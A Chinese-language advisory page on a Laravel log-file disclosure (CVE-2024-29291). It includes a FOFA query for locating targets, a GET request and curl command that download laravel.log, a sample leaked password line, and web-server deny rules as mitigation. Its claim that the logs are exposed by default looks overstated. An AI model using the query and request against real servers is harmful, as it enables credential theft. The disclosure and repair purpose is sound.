Laravel Framework 敏感信息泄露漏洞（CVE-2024-29291）

1. 产品简介​

​产品名称​：Laravel Framework
​开发者​：Taylor Otwell（个人开发者）
​类型​：基于PHP的Web应用程序开发框架
​主要特性​：

• ​MVC架构​：提供模型-视图-控制器设计模式，简化复杂应用开发。
• ​Eloquent ORM​：内置的数据库对象关系映射工具，支持链式操作和高级查询。
• ​Blade模板引擎​：轻量级模板语言，支持模板继承与组件复用。
• ​Artisan CLI​：命令行工具，支持代码生成、数据库迁移等自动化操作。
• ​安全机制​：内置CSRF保护、加密存储、密码哈希等功能。
• ​日志管理​：默认将应用日志存储在 storage/logs/laravel.log。
  ​应用场景​：广泛用于开发企业级Web应用、API服务及全栈解决方案。
  ​市场地位​：全球最流行的PHP框架之一，GitHub星标超75k，以优雅语法和丰富功能著称。
  ​官方链接​：https://laravel.com

---

​2. 漏洞概述​

• ​漏洞编号​：CVE-2024-29291
• ​漏洞类型​：敏感信息泄露
• ​威胁等级​：高危
• ​影响范围​：Laravel Framework 8.x 至 11.x
• ​漏洞描述​：
  由于默认配置缺陷，攻击者可远程访问 storage/logs/laravel.log 日志文件。该文件可能包含数据库凭据、调试信息或环境变量（如 DB_PASSWORD, APP_KEY），导致敏感数据泄露。
• ​FOFA查询​：app="Laravel-Framework"

---

​3. 漏洞成因​

1. ​目录权限配置不当​：
   Laravel默认将日志文件存储在Web可访问的 storage/logs/ 目录，若服务器未限制对该路径的访问（如Nginx/Apache未配置访问控制），攻击者可通过HTTP直接下载日志。
2. ​敏感信息明文记录​：
   当应用发生数据库连接异常、未捕获的异常或调试模式（APP_DEBUG=true）开启时，日志会记录包括密码、API密钥在内的敏感信息。

---

​4. 影响版本​

• Laravel Framework 8.x
• Laravel Framework 9.x
• Laravel Framework 10.x
• Laravel Framework 11.x

---

​5. 漏洞验证（PoC）​​

​手动检测​：

http复制GET /storage/logs/laravel.log HTTP/1.1  
Host: target.com  

​响应特征​：

• HTTP状态码为200，返回日志内容。
• 关键字匹配（如 SQLSTATE、DB_PASSWORD、[stacktrace]）。

---

​6. 漏洞复现步骤​

1. ​环境搭建​：
   • 部署Laravel 10.x，配置数据库连接参数（模拟生产环境）。
   • 触发数据库连接错误（如故意输入错误密码）。
2. ​攻击模拟​：bash复制curl -v http://target.com/storage/logs/laravel.log
3. ​结果示例​：log复制[2024-03-15] ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root' (password: 'P@ssw0rd!')

---

​7. 修复建议​

​紧急缓解措施​：

• ​限制日志目录访问​：nginx复制# Nginx配置 location ~ ^/storage/logs/ { deny all; return 403; } apache复制# .htaccess配置 <Files "laravel.log"> Require all denied </Files>
• ​关闭调试模式​：设置 .env 中 APP_DEBUG=false。

​长期修复方案​：

• ​升级框架​：更新至Laravel官方修复版本（持续关注安全公告）。
• ​日志隔离​：将日志存储路径移至Web根目录外（如 /var/log/laravel/）。
• ​敏感信息过滤​：自定义日志通道，禁止记录含密码等字段的内容（使用 Log::channel('custom') 配置过滤规则）。

---

​8. 关联参考​

• ​CVE记录​：CVE-2024-29291
• ​Laravel安全指南​：官方文档
• ​日志安全最佳实践​：OWASP日志防护

------本页内容已结束，喜欢请分享------

感谢您的来访，获取更多精彩文章请收藏本站。